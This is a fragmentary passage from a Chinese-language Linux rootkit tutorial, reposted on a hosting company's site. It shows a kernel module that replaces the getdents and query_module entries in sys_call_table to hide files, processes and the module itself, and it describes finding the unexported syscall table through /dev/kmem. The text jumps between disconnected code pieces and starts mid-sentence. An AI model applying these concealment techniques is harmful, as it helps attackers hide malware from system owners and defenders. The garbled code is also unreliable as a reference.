Linux操作系统下的高级隐藏技术详解
的伪代码表示: hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { 调用原来的系统调用; 得到fd所对应的节点; if(该文件属于proc文件系统&&该文件名需要隐藏) {从dirp中去掉该文件相关信息} }
orig_query_module=sys_call_table[SYS_query_module] sys_call_table[SYS_getdents]=hacked_getdents; //设置新的系统调用 sys_call_table[SYS_query_module]=hacked_query_module; return 0; //返回0表示成功 } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_getdents]=orig_getdents; //恢复原来的系统调用 sys_call_table[SYS_query_module]=orig_query_module; } (2)在系统并不导出sys_call_table的情况下: linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就找到其他的办法来得到这个地址.在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用.那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S): ENTRY(system_call) pushl
|
||
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |